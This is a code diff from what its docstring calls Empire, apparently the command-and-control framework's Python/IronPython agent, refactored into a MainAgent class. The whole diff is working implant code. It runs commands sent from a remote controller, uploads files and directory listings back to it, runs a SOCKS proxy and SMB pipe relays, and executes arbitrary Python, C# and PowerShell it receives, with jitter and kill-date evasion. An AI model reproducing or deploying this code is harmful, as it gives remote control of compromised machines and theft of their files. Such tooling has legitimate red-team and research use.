+# _get_info() = takes the fullname, then subpackage name (if applicable),
+# and searches for the respective module or package
-defaultResponse = base64.b64decode("")
-jobs = {}
-moduleRepo = {}
-_meta_cache = {}
+class CFinder(object):
+ """Import Hook for Empire"""
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)}
-headers = {"User-Agent": userAgent}
+ def __init__(self, repoName):
+ self.repoName = repoName
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
+ def _get_info(self, repoName, fullname):
+ """Search for the respective package or module in the zipfile object"""
+ parts = fullname.split(".")
+ submodule = parts[-1]
+ modulepath = "/".join(parts)
- if headerKey.lower() == "cookie":
- headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue)
+ # check to see if that specific module exists
+ for suffix, is_package in _search_order:
+ relpath = modulepath + suffix
+ try:
+ moduleRepo[repoName].getinfo(relpath)
+ except KeyError:
+ pass
+ else:
+ return submodule, is_package, relpath
+
+ # Error out if we can find the module/package
+ msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
+ raise ZipImportError(msg)
+
+ def _get_source(self, repoName, fullname):
+ """Get the source code for the requested module"""
+ submodule, is_package, relpath = self._get_info(repoName, fullname)
+ fullpath = "%s/%s" % (repoName, relpath)
+ source = moduleRepo[repoName].read(relpath)
+ source = source.replace("\r\n", "\n")
+ source = source.replace("\r", "\n")
+ return submodule, is_package, fullpath, source
+
+ def find_module(self, fullname, path=None):
+
+ try:
+ submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ except ImportError:
+ return None
else:
- headers[headerKey] = headerValue
- except:
- pass
+ return self
+
+ def load_module(self, fullname):
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ code = compile(source, fullpath, "exec")
+ mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
+ mod.__loader__ = self
+ mod.__file__ = fullpath
+ mod.__name__ = fullname
+ if is_package:
+ mod.__path__ = [os.path.dirname(mod.__file__)]
+ exec(code, mod.__dict__)
+ return mod
+
+ def get_data(self, fullpath):
+
+ prefix = os.path.join(self.repoName, "")
+ if not fullpath.startswith(prefix):
+ raise IOError(
+ "Path %r does not start with module name %r", (fullpath, prefix)
+ )
+ relpath = fullpath[len(prefix) :]
+ try:
+ return moduleRepo[self.repoName].read(relpath)
+ except KeyError:
+ raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
+
+ def is_package(self, fullname):
+ """Return if the module is a package"""
+ submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ return is_package
+
+ def get_code(self, fullname):
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ return compile(source, fullpath, "exec")
+
+ def install_hook(repoName):
+ if repoName not in _meta_cache:
+ finder = CFinder(repoName)
+ _meta_cache[repoName] = finder
+ sys.meta_path.append(finder)
+
+ def remove_hook(repoName):
+ if repoName in _meta_cache:
+ finder = _meta_cache.pop(repoName)
+ sys.meta_path.remove(finder)
+
################################################
#
-# encryption methods
+# Socks Server
#
################################################
+class Server(secretsocks.Server):
+ # Initialize our data channel
+ def __init__(self, q, resultID):
+ secretsocks.Server.__init__(self)
+ self.queue = q
+ self.resultID = resultID
+ self.alive = True
+ self.start()
+ # Receive data from our data channel and push it to the receive queue
+ def recv(self):
+ while self.alive:
+ try:
+ data = self.queue.get()
+ self.recvbuf.put(data)
+ except socket.timeout:
+ continue
+ except:
+ self.alive = False
-def decode_routing_packet(data):
+ # Take data from the write queue and send it over our data channel
+ def write(self):
+ while self.alive:
+ try:
+ data = self.writebuf.get(timeout=10)
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 61, base64.b64encode(data).decode("UTF-8"), self.resultID
+ )
+ )
+ except Queue.Empty:
+ continue
+ except:
+ self.alive = False
+
+
+################################################
+#
+# misc methods
+#
+################################################
+class compress(object):
"""
- Parse ALL routing packets and only process the ones applicable
- to this agent.
+ Base clase for init of the package. This will handle
+ the initial object creation for conducting basic functions.
"""
- # returns {sessionID : (language, meta, additional, [encData]), ...}
- packets = parse_routing_packet(stagingKey, data)
- if packets is None:
- return
- for agentID, packet in packets.items():
- if agentID == sessionID:
- (language, meta, additional, encData) = packet
- # if meta == 'SERVER_RESPONSE':
- process_tasking(encData)
- else:
- smb_server_queue.Enqueue(base64.b64encode(data).decode('UTF-8'))
+ CRC_HSIZE = 4
+ COMP_RATIO = 9
+
+ def __init__(self, verbose=False):
+ """
+ Populates init.
+ """
+ pass
+
+ def comp_data(self, data, cvalue=COMP_RATIO):
+ """
+ Takes in a string and computes
+ the comp obj.
+ data = string wanting compression
+ cvalue = 0-9 comp value (default 6)
+ """
+ cdata = zlib.compress(data, cvalue)
+ return cdata
+
+ def crc32_data(self, data):
+ """
+ Takes in a string and computes crc32 value.
+ data = string before compression
+ returns:
+ HEX bytes of data
+ """
+ crc = zlib.crc32(data) & 0xFFFFFFFF
+ return crc
+
+ def build_header(self, data, crc):
+ """
+ Takes comp data, org crc32 value,
+ and adds self header.
+ data = comp data
+ crc = crc32 value
+ """
+ header = struct.pack("!I", crc)
+ built_data = header + data
+ return built_data
-def build_response_packet(taskingID, packetData, resultID=0):
+
+class decompress(object):
"""
- Build a task packet for an agent.
-
- [2 bytes] - type
- [2 bytes] - total # of packets
- [2 bytes] - packet #
- [2 bytes] - task/result ID
- [4 bytes] - length
- [X...] - result data
-
- +------+--------------------+----------+---------+--------+-----------+
- | Type | total # of packets | packet # | task ID | Length | task data |
- +------+--------------------+--------------------+--------+-----------+
- | 2 | 2 | 2 | 2 | 4 | |
- +------+--------------------+----------+---------+--------+-----------+
+ Base clase for init of the package. This will handle
+ the initial object creation for conducting basic functions.
"""
- packetType = struct.pack("=H", taskingID)
- totalPacket = struct.pack("=H", 1)
- packetNum = struct.pack("=H", 1)
- resultID = struct.pack("=H", resultID)
-
- if packetData:
- if isinstance(packetData, str):
- packetData = base64.b64encode(packetData.encode("utf-8", "ignore"))
+
+ CRC_HSIZE = 4
+ COMP_RATIO = 9
+
+ def __init__(self, verbose=False):
+ """
+ Populates init.
+ """
+ pass
+
+ def dec_data(self, data, cheader=True):
+ """
+ Takes:
+ Custom / standard header data
+ data = comp data with zlib header
+ BOOL cheader = passing custom crc32 header
+ returns:
+ dict with crc32 cheack and dec data string
+ ex. {"crc32" : true, "dec_data" : "-SNIP-"}
+ """
+ if cheader:
+ comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
+ dec_data = zlib.decompress(data[self.CRC_HSIZE :])
+ dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
+ if comp_crc32 == dec_crc32:
+ crc32 = True
+ else:
+ crc32 = False
+ return {
+ "header_crc32": comp_crc32,
+ "dec_crc32": dec_crc32,
+ "crc32_check": crc32,
+ "data": dec_data,
+ }
else:
- packetData = base64.b64encode(
- packetData.decode("utf-8").encode("utf-8", "ignore")
+ dec_data = zlib.decompress(data)
+ return dec_data
+
+
+def indent(lines, amount=4, ch=" "):
+ padding = amount * ch
+ return padding + ("\n" + padding).join(lines.split("\n"))
+
+
+# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
+class ThreadWithReturnValue(Thread):
+ def __init__(
+ self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
+ ):
+ Thread.__init__(self, group, target, name, args, kwargs, Verbose)
+ self._return = None
+
+ def run(self):
+ if self._Thread__target is not None:
+ self._return = self._Thread__target(
+ *self._Thread__args, **self._Thread__kwargs
)
- if len(packetData) % 4:
- packetData += "=" * (4 - len(packetData) % 4)
- length = struct.pack("=L", len(packetData))
- return packetType + totalPacket + packetNum + resultID + length + packetData
- else:
- length = struct.pack("=L", 0)
- return packetType + totalPacket + packetNum + resultID + length
+ def join(self):
+ Thread.join(self)
+ return self._return
-def parse_task_packet(packet, offset=0):
- """
- Parse a result packet-
+class KThread(threading.Thread):
+ """A subclass of threading.Thread, with a kill()
+ method."""
- [2 bytes] - type
- [2 bytes] - total # of packets
- [2 bytes] - packet #
- [2 bytes] - task/result ID
- [4 bytes] - length
- [X...] - result data
+ def __init__(self, *args, **keywords):
+ threading.Thread.__init__(self, *args, **keywords)
+ self.killed = False
- +------+--------------------+----------+---------+--------+-----------+
- | Type | total # of packets | packet # | task ID | Length | task data |
- +------+--------------------+--------------------+--------+-----------+
- | 2 | 2 | 2 | 2 | 4 | |
- +------+--------------------+----------+---------+--------+-----------+
+ def start(self):
+ """Start the thread."""
+ self.__run_backup = self.run
+ self.run = self.__run # Force the Thread to install our trace.
+ threading.Thread.start(self)
- Returns a tuple with (responseName, length, data, remainingData)
+ def __run(self):
+ """Hacked run function, which installs the
+ trace."""
+ sys.settrace(self.globaltrace)
+ self.__run_backup()
+ self.run = self.__run_backup
- Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData)
- """
- try:
- packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0]
- totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0]
- packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0]
- resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0]
- length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0]
- try:
- packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length]
- except:
- packetData = packet[12 + offset : 12 + offset + length].decode("latin-1")
+ def globaltrace(self, frame, why, arg):
+ if why == "call":
+ return self.localtrace
+ else:
+ return None
- try:
- remainingData = packet.decode("UTF-8")[12 + offset + length :]
- except:
- remainingData = packet[12 + offset + length :].decode("latin-1")
-
- return (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- packetData,
- remainingData,
- )
- except Exception as e:
- print("parse_task_packet exception:", e)
- return (None, None, None, None, None, None, None)
-
-
-def process_tasking(data):
- # processes an encrypted data packet
- # -decrypts/verifies the response to get
- # -extracts the packets and processes each
- try:
- # aes_decrypt_and_verify is in stager.py
- tasking = aes_decrypt_and_verify(key, data).encode("UTF-8")
- (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- data,
- remainingData,
- ) = parse_task_packet(tasking)
-
- # if we get to this point, we have a legit tasking so reset missedCheckins
- missedCheckins = 0
-
- # execute/process the packets and get any response
- resultPackets = ""
- result = process_packet(packetType, data, resultID)
-
- if result:
- resultPackets += result
-
- packetOffset = 12 + length
- while remainingData and remainingData != "":
- (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- data,
- remainingData,
- ) = parse_task_packet(tasking, offset=packetOffset)
- result = process_packet(packetType, data, resultID)
- if result:
- resultPackets += result
+ def localtrace(self, frame, why, arg):
+ if self.killed:
+ if why == "line":
+ raise SystemExit()
+ return self.localtrace
- packetOffset += 12 + length
+ def kill(self):
+ self.killed = True
- # send_message() is patched in from the listener module
- send_message(resultPackets)
- except Exception as e:
- print(e)
- pass
+class MainAgent:
+ def __init__(self,
+ packet_handler,
+ profile,
+ server,
+ session_id,
+ kill_date,
+ working_hours,
+ delay=60,
+ jitter=0.0,
+ lost_limit=60
+ ):
+
+ if server.endswith("/"):
+ server = server[0:-1]
+ self.server = server.rstrip("/")
+
+ # Functions that need to be passed in
+ # self.packet_handler = ExtendedPacketHandler(self, staging_key=staging_key, session_id=session_id, key=key)
+ self.packet_handler = packet_handler
+ self.profile = profile
+ self.delay = delay
+ self.jitter = jitter
+ self.lostLimit = lost_limit
+ self.kill_date = kill_date
+ self.working_hours = working_hours
+ self.defaultResponse = base64.b64decode("")
+ self.packet_handler.missedCheckins = 0
+ self.sessionID = session_id
+ self.jobMessageBuffer = ""
+ self.socksthread = False
+ self.socksqueue = None
+ self.jobs = {}
+
+ parts = self.profile.split("|")
+ self.userAgent = parts[1]
+ headersRaw = parts[2:]
+
+ self.headers = {"User-Agent": self.userAgent}
+
+ for headerRaw in headersRaw:
+ try:
+ headerKey = headerRaw.split(":")[0]
+ headerValue = headerRaw.split(":")[1]
+ if headerKey.lower() == "cookie":
+ self.headers["Cookie"] = "%s;%s" % (self.headers["Cookie"], headerValue)
+ else:
+ self.headers[headerKey] = headerValue
+ except:
+ pass
-def process_job_tasking(result):
- # process job data packets
- # - returns to the C2
- # execute/process the packets and get any response
- try:
- resultPackets = b""
- if result:
- resultPackets += result
- # send packets
- send_message(resultPackets)
- except Exception as e:
- print("processJobTasking exception:", e)
- pass
+ def agent_exit(self):
+ # exit for proper job / thread cleanup
+ if len(self.jobs) > 0:
+ try:
+ for x in self.jobs:
+ self.jobs[x].kill()
+ self.jobs.pop(x)
+ except:
+ # die hard if thread kill fails
+ pass
+ sys.exit()
+ def send_job_message_buffer(self):
+ if len(self.jobs) > 0:
+ result = self.get_job_message_buffer()
+ self.packet_handler.process_job_tasking(result)
+ else:
+ pass
-def process_packet(packetType, data, resultID):
- try:
- packetType = int(packetType)
- except Exception as e:
- return None
- if packetType == 1:
- # sysinfo request
- # get_sysinfo should be exposed from stager.py
- send_message(build_response_packet(1, get_sysinfo(), resultID))
-
- elif packetType == 2:
- # agent exit
- send_message(build_response_packet(2, "", resultID))
- agent_exit()
-
- elif packetType == 34:
- # TASK_SET_PROXY
- proxy_list = json.loads(data)
- update_proxychain(proxy_list)
-
- elif packetType == 40:
- # run a command
+ def run_prebuilt_command(self, data, resultID):
+ """
+ Run a command on the system and return the results.
+ Task 40
+ """
parts = data.split(" ")
if len(parts) == 1:
data = parts[0]
- resultData = str(run_command(data))
- send_message(build_response_packet(40, resultData, resultID))
+ resultData = str(self.run_command(data))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID))
else:
cmd = parts[0]
- cmdargs = " ".join(parts[1 : len(parts)])
- resultData = str(run_command(cmd, cmdargs=cmdargs))
- send_message(build_response_packet(40, resultData, resultID))
+ cmdargs = " ".join(parts[1: len(parts)])
+ resultData = str(self.run_command(cmd, cmdargs=cmdargs))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID))
- elif packetType == 41:
- # file download
+ def file_download(self, data, resultID):
+ """
+ Download a file from the server.
+ Task 41
+ """
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
40, "file does not exist or cannot be accessed", resultID
)
)
@@ -336,7 +490,7 @@ def process_packet(packetType, data, resultID):
while True:
# get 512kb of the given file starting at the specified offset
- encodedPart = get_file_part(filePath, offset=offset, base64=False)
+ encodedPart = self.get_file_part(filePath, offset=offset, base64=False)
c = compress()
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
@@ -347,24 +501,20 @@ def process_packet(packetType, data, resultID):
if not encodedPart or encodedPart == "" or len(encodedPart) == 16:
break
- send_message(build_response_packet(41, partData, resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID))
- global delay
- global jitter
- if jitter < 0:
- jitter = -jitter
- if jitter > 1:
- jitter = old_div(1, jitter)
-
- minSleep = int((1.0 - jitter) * delay)
- maxSleep = int((1.0 + jitter) * delay)
+ minSleep = int((1.0 - self.jitter) * self.delay)
+ maxSleep = int((1.0 + self.jitter) * self.delay)
sleepTime = random.randint(minSleep, maxSleep)
time.sleep(sleepTime)
partIndex += 1
offset += 512000
- elif packetType == 42:
- # file upload
+ def file_upload(self, data, resultID):
+ """
+ Upload a file to the server.
+ Task 42
+ """
try:
parts = data.split("|")
filePath = parts[0]
@@ -372,14 +522,14 @@ def process_packet(packetType, data, resultID):
raw = base64.b64decode(base64part)
with open(filePath, "ab") as f:
f.write(raw)
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
42, "[*] Upload of %s successful" % (filePath), resultID
)
)
except Exception as e:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"[!] Error in writing file %s during upload: %s"
% (filePath, str(e)),
@@ -387,20 +537,23 @@ def process_packet(packetType, data, resultID):
)
)
- elif packetType == 43:
- # directory list
+ def directory_list(self, data, resultID):
+ """
+ List a directory on the target.
+ Task 43
+ """
cmdargs = data
path = "/" # default to root
if (
- cmdargs is not None and cmdargs != "" and cmdargs != "/"
+ cmdargs is not None and cmdargs != "" and cmdargs != "/"
): # strip trailing slash for uniformity
path = cmdargs.rstrip("/")
if path[0] != "/": # always scan relative to root for uniformity
path = "/{0}".format(path)
if not os.path.isdir(path):
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
43, "Directory {} not found.".format(path), resultID
)
)
@@ -419,10 +572,13 @@ def process_packet(packetType, data, resultID):
}
)
- send_message(build_response_packet(43, result_data, resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID))
- elif packetType == 44:
- # run csharp module in ironpython using reflection
+ def csharp_execute(self, data, resultID):
+ """
+ Execute C# module in ironpython using reflection
+ Task 44
+ """
# todo: make this a job a thread to be trackable
try:
import time
@@ -448,8 +604,8 @@ def process_packet(packetType, data, resultID):
results = (
assembly.GetType("Task").GetMethod("Execute").Invoke(None, params)
)
- result_packet = build_response_packet(110, str(results), resultID)
- process_job_tasking(result_packet)
+ result_packet = self.packet_handler.build_response_packet(110, str(results), resultID)
+ self.packet_handler.process_job_tasking(result_packet)
else:
@@ -498,80 +654,88 @@ def csharp_job_func(decoded_data, params, pipeClientStream):
stream_text = read[0:count]
pipeOutput.Append(stream_text)
- result_packet = build_response_packet(110, str(pipeOutput), resultID)
- process_job_tasking(result_packet)
+ result_packet = self.packet_handler.build_response_packet(110, str(pipeOutput), resultID)
+ self.packet_handler.process_job_tasking(result_packet)
except Exception as e:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0, "error executing specified Python data %s " % (e), resultID
)
)
- elif packetType == 50:
- # return the currently running jobs
- msg = "Active jobs:\n"
+ def job_list(self, resultID):
+ """
+ Return a list of all running agent.jobs.
+ Task 50
+ """
+ msg = "Active agent.jobs:\n"
- for key in jobs:
+ for key in self.jobs:
msg += "Task %s" % key
- send_message(build_response_packet(50, msg, resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID))
- elif packetType == 51:
- # stop and remove a specified job if it's running
+ def stop_job(self, jobID, resultID):
+ """
+ Stop a running job.
+ Task 51
+ """
try:
- jobs[int(data)].kill()
- jobs.pop(int(data))
- send_message(
- build_response_packet(
- 51, "[+] Job thread %s stopped successfully" % (data), resultID
+ self.jobs[int(jobID)].kill()
+ self.jobs.pop(int(jobID))
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 51, "[+] Job thread %s stopped successfully" % (jobID), resultID
)
)
except Exception as e:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
51, "[!] Error stopping job thread: %s" % (e), resultID
)
)
- elif packetType == 60:
- global _socksthread
- global _socksqueue
-
+ def start_socks_server(self, resultID):
+ """
+ Start a SOCKS server on the target.
+ Task 60
+ """
# Create a server object in its own thread
- if not _socksthread:
+ if not self.socksthread:
try:
- _socksqueue = Queue.Queue()
- jobs[resultID] = KThread(
+ self.socksqueue = Queue.Queue()
+ self.jobs[resultID] = KThread(
target=Server,
args=(
- _socksqueue,
+ self.socksqueue,
resultID,
),
)
- jobs[resultID].daemon = True
- jobs[resultID].start()
- _socksthread = True
- send_message(
- build_response_packet(
+ self.jobs[resultID].daemon = True
+ self.jobs[resultID].start()
+ self.socksthread = True
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
60, "[+] SOCKS server successfully started", resultID
)
)
except:
- _socksthread = False
- send_message(
- build_response_packet(
+ self.socksthread = False
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
60, "[!] SOCKS server failed to start", resultID
)
)
else:
- send_message(
- build_response_packet(60, "[!] SOCKS server already running", resultID)
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", resultID)
)
- elif packetType == 61:
- _socksqueue.put(base64.b64decode(data.encode("UTF-8")))
-
- elif packetType == 70:
+ def start_smb_pipe_server(self, data, resultID):
+ """
+ Start an SMB pipe server on the target.
+ Task 70
+ """
# Pipe Server
import sys
import threading
@@ -583,14 +747,9 @@ def csharp_job_func(decoded_data, params, pipeClientStream):
clr.AddReference("System.IO.Pipes")
import System.Collections.Generic
import System.IO.Pipes
- from System.IO.Pipes import (
- NamedPipeServerStream,
- PipeAccessRights,
- PipeAccessRule,
- PipeDirection,
- PipeSecurity,
- PipeTransmissionMode,
- )
+ from System.IO.Pipes import (NamedPipeServerStream, PipeAccessRights,
+ PipeAccessRule, PipeDirection,
+ PipeSecurity, PipeTransmissionMode)
from System.Security.AccessControl import AccessControlType
parts = data.split("|")
@@ -604,11 +763,11 @@ def pipe_data_server(pipe_server, hop_name):
received_data = pipe_reader.ReadLine()
try:
if received_data[0] == '0':
- response = send_results_for_child(received_data)
+ response = self.packet_handler.send_results_for_child(received_data)
elif received_data[0] == '1':
- response = send_get_tasking_for_child(received_data)
+ response = self.packet_handler.send_get_tasking_for_child(received_data)
elif received_data[0] == '2':
- response = send_staging_for_child(received_data, hop_name)
+ response = self.packet_handler.send_staging_for_child(received_data, hop_name)
try:
pipe_writer = System.IO.StreamWriter(pipe_server)
@@ -619,9 +778,9 @@ def pipe_data_server(pipe_server, hop_name):
pass
try:
- while smb_server_queue.Count > 0:
- response = smb_server_queue.Peek()
- smb_server_queue.Dequeue()
+ while self.packet_handler.smb_server_queue.Count > 0:
+ response = self.packet_handler.smb_server_queue.Peek()
+ self.packet_handler.smb_server_queue.Dequeue()
pipe_writer = System.IO.StreamWriter(pipe_server)
pipe_writer.WriteLine(response)
pipe_writer.Flush()
@@ -649,8 +808,11 @@ def server_thread_function(pipe_name, hop_name):
server_thread.daemon = True
server_thread.start()
- elif packetType == 100:
- # dynamic code execution, wait for output, don't save output
+ def dynamic_code_execute_wait_nosave(self, data, resultID):
+ """
+ Execute dynamic code and wait for the results without saving output.
+ Task 100
+ """
try:
buffer = StringIO()
sys.stdout = buffer
@@ -658,18 +820,21 @@ def server_thread_function(pipe_name, hop_name):
exec(code_obj, globals())
sys.stdout = sys.__stdout__
results = buffer.getvalue()
- send_message(build_response_packet(100, str(results), resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- return build_response_packet(
+ return self.packet_handler.build_response_packet(
0,
"error executing specified Python data: %s \nBuffer data recovered:\n%s"
% (e, errorData),
resultID,
)
- elif packetType == 101:
- # dynamic code execution, wait for output, save output
+ def dynamic_code_execution_wait_save(self, data, resultID):
+ """
+ Execute dynamic code and wait for the results while saving output.
+ Task 101
+ """
prefix = data[0:15].strip()
extension = data[15:20].strip()
data = data[20:]
@@ -685,8 +850,8 @@ def server_thread_function(pipe_name, hop_name):
comp_data = c.comp_data(results)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
101,
"{0: <15}".format(prefix)
+ "{0: <5}".format(extension)
@@ -697,8 +862,8 @@ def server_thread_function(pipe_name, hop_name):
except Exception as e:
# Also return partial code that has been executed
errorData = buffer.getvalue()
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"error executing specified Python data %s \nBuffer data recovered:\n%s"
% (e, errorData),
@@ -706,8 +871,12 @@ def server_thread_function(pipe_name, hop_name):
)
)
- elif packetType == 102:
- # on disk code execution for modules that require multiprocessing not supported by exec
+ def disk_code_execution_wait_save(self, data, resultID):
+ """
+ Execute on disk code and wait for the results while saving output.
+ For modules that require multiprocessing not supported by exec
+ Task 110
+ """
# todo: is this used?
try:
implantHome = expanduser("~") + "/.Trash/"
@@ -733,32 +902,29 @@ def server_thread_function(pipe_name, hop_name):
result += "\n\nError removing module file, please verify path: " + str(
implantPath
)
- send_message(build_response_packet(100, str(result), resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID))
except Exception as e:
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"error executing specified Python data: %s \nError removing module file, please verify path: %s"
% (e, implantPath),
resultID,
)
)
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0, "error executing specified Python data: %s" % (e), resultID
)
)
- elif packetType == 110:
- start_job(data, resultID)
-
- elif packetType == 111:
- # TASK_CMD_JOB_SAVE
- pass
-
- elif packetType == 112:
+ def powershell_task(self, data, resultID):
+ """
+ Execute a PowerShell command.
+ Task 112
+ """
import sys
data = data.lstrip("\x00")
# todo: make this a job a thread to be trackable
@@ -773,11 +939,14 @@ def server_thread_function(pipe_name, hop_name):
for result in results:
print(result)
sys.stdout = sys.__stdout__
- result_packet = build_response_packet(110, str(buffer.getvalue()), resultID)
- process_job_tasking(result_packet)
+ result_packet = self.packet_handler.build_response_packet(110, str(buffer.getvalue()), resultID)
+ self.packet_handler.process_job_tasking(result_packet)
- elif packetType == 118:
- # PowerShel Task - dynamic code execution, wait for output, don't save output
+ def powershell_task_dyanmic_code_wait_nosave(self, data, resultID):
+ """
+ Execute a PowerShell command and wait for the results without saving output.
+ Task 118
+ """
try:
data = data.lstrip("\x00")
@@ -792,22 +961,22 @@ def server_thread_function(pipe_name, hop_name):
for result in results:
print(result)
- result_packet = build_response_packet(110, str(result), resultID)
- process_job_tasking(result_packet)
+ result_packet = self.packet_handler.build_response_packet(110, str(result), resultID)
+ self.packet_handler.process_job_tasking(result_packet)
except Exception as e:
print(e)
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0, "error executing specified Python data %s " % (e), resultID
)
)
- elif packetType == 119:
- pass
-
- elif packetType == 121:
- # base64 decode the script and execute
+ def script_command(self, data, resultID):
+ """
+ Execute a base64 encoded script.
+ Task 121
+ """
script = base64.b64decode(data)
try:
buffer = StringIO()
@@ -816,11 +985,11 @@ def server_thread_function(pipe_name, hop_name):
exec(code_obj, globals())
sys.stdout = sys.__stdout__
result = str(buffer.getvalue())
- send_message(build_response_packet(121, result, resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"error executing specified Python data %s \nBuffer data recovered:\n%s"
% (e, errorData),
@@ -828,8 +997,11 @@ def server_thread_function(pipe_name, hop_name):
)
)
- elif packetType == 122:
- # base64 decode and decompress the data
+ def script_load(self, data, resultID):
+ """
+ Load a script into memory.
+ Task 122
+ """
try:
parts = data.split("|")
base64part = parts[1]
@@ -838,14 +1010,14 @@ def server_thread_function(pipe_name, hop_name):
d = decompress()
dec_data = d.dec_data(raw, cheader=True)
if not dec_data["crc32_check"]:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
122, "Failed crc32_check during decompression", resultID
)
)
except Exception as e:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
122, "Unable to decompress zip file: %s" % (e), resultID
)
)
@@ -853,744 +1025,530 @@ def server_thread_function(pipe_name, hop_name):
zdata = dec_data["data"]
zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
if fileName in list(moduleRepo.keys()):
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
122, "%s module already exists" % (fileName), resultID
)
)
else:
moduleRepo[fileName] = zf
- install_hook(fileName)
- send_message(
- build_response_packet(
+ self.install_hook(fileName)
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
122, "Successfully imported %s" % (fileName), resultID
- )
- )
-
- elif packetType == 123:
- # view loaded modules
- repoName = data
- if repoName == "":
- loadedModules = "\nAll Repos\n"
- for key, value in list(moduleRepo.items()):
- loadedModules += "\n----" + key + "----\n"
- loadedModules += "\n".join(moduleRepo[key].namelist())
-
- send_message(build_response_packet(123, loadedModules, resultID))
- else:
- try:
- loadedModules = "\n----" + repoName + "----\n"
- loadedModules += "\n".join(moduleRepo[repoName].namelist())
- send_message(build_response_packet(123, loadedModules, resultID))
- except Exception as e:
- msg = "Unable to retrieve repo contents: %s" % (str(e))
- send_message(build_response_packet(123, msg, resultID))
-
- elif packetType == 124:
- # remove module
- repoName = data
- try:
- remove_hook(repoName)
- del moduleRepo[repoName]
- send_message(
- build_response_packet(
- 124, "Successfully remove repo: %s" % (repoName), resultID
- )
- )
- except Exception as e:
- send_message(
- build_response_packet(
- 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
- )
- )
-
- elif packetType == 130:
- # Dynamically update agent comms
- send_message(
- build_response_packet(
- 60, "[!] Switch agent comms not implemented", resultID
- )
- )
-
- elif packetType == 131:
- # Update the listener name variable
- send_message(
- build_response_packet(
- 60, "[!] Switch agent comms not implemented", resultID
- )
- )
-
- else:
- send_message(
- build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
- )
-
-
-def old_div(a, b):
- """
- Equivalent to ``a / b`` on Python 2 without ``from __future__ import
- division``.
- """
- if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral):
- return a // b
- else:
- return a / b
-
-
-################################################
-#
-# Custom Import Hook
-# #adapted from https://github.com/sulinx/remote_importer
-#
-################################################
-
-# [0] = .py ext, is_package = False
